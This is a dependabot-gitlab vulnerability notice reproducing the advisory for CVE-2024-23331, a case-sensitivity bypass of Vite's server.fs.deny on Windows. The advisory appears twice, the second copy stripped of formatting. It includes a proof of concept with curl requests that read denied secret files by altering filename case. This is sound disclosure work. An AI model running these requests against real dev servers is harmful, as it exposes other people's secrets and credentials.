Vite dev server optionserver.fs.deny can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.
⚠️ `dependabot-gitlab` has detected security vulnerability for `vite` in path: `/`, manifest_file: `/package.json` but was unable to update it! ⚠️
* https://github.com/advisories/GHSA-c24v-8rfc-w8vw
| Package | Severity | Affected versions | Patched versions | IDs |
|------------|----------|--------------------|------------------|----------------------------------------|
| vite (NPM) | HIGH | >= 4.0.0, <= 4.5.1 | 4.5.2 | `GHSA-c24v-8rfc-w8vw`,`CVE-2024-23331` |
# Description
### Summary
[Vite dev server option](https://vitejs.dev/config/server-options.html#server-fs-deny) `server.fs.deny` can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.
This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.
### Patches
Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17
### Details
Since `picomatch` defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.
See `picomatch` usage, where `nocase` is defaulted to `false`: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632
By requesting raw filesystem paths using augmented casing, the matcher derived from `config.server.fs.deny` fails to block access to sensitive files.
### PoC
**Setup**
1. Created vanilla Vite project using `npm create vite@latest` on a Standard Azure hosted Windows 10 instance.
- `npm run dev -- --host 0.0.0.0`
- Publicly accessible for the time being here: http://20.12.242.81:5173/
2. Created dummy secret files, e.g. `custom.secret` and `production.pem`
3. Populated `vite.config.js` with
```javascript
export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }
```
**Reproduction**
1. `curl -s http://20.12.242.81:5173/@fs//`
- Descriptive error page reveals absolute filesystem path to project root
2. `curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js`
- Discoverable configuration file reveals locations of secrets
3. `curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT`
- Secrets are directly accessible using case-augmented version of filename
**Proof**

### Impact
**Who**
- Users with exposed dev servers on environments with case-insensitive filesystems
**What**
- Files protected by `server.fs.deny` are both discoverable, and accessible
# References
* https://github.com/vitejs/vite/security/advisories/GHSA-c24v-8rfc-w8vw
* https://nvd.nist.gov/vuln/detail/CVE-2023-34092
* https://nvd.nist.gov/vuln/detail/CVE-2024-23331
* https://github.com/vitejs/vite/commit/0cd769c279724cf27934b1270fbdd45d68217691
* https://github.com/vitejs/vite/commit/91641c4da0a011d4c5352e88fc68389d4e1289a5
* https://github.com/vitejs/vite/commit/a26c87d20f9af306b5ce3ff1648be7fa5146c278
* https://github.com/vitejs/vite/commit/eeec23bbc9d476c54a3a6d36e78455867185a7cb
* https://vitejs.dev/config/server-options.html#server-fs-deny
* https://github.com/advisories/GHSA-c24v-8rfc-w8vw
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⚠️
dependabot-gitlabhas detected security vulnerability forvitein path:/, manifest_file:/package.jsonbut was unable to update it! ⚠️GHSA-c24v-8rfc-w8vw,CVE-2024-23331Description
Summary
Vite dev server option
server.fs.denycan be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.
Patches
Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17
Details
Since
picomatchdefaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.See
picomatchusage, wherenocaseis defaulted tofalse: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632By requesting raw filesystem paths using augmented casing, the matcher derived from
config.server.fs.denyfails to block access to sensitive files.PoC
Setup
npm create vite@lateston a Standard Azure hosted Windows 10 instance.npm run dev -- --host 0.0.0.0custom.secretandproduction.pemvite.config.jswithReproduction
curl -s http://20.12.242.81:5173/@fs//curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.jscurl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReTProof

Impact
Who
What
server.fs.denyare both discoverable, and accessibleReferences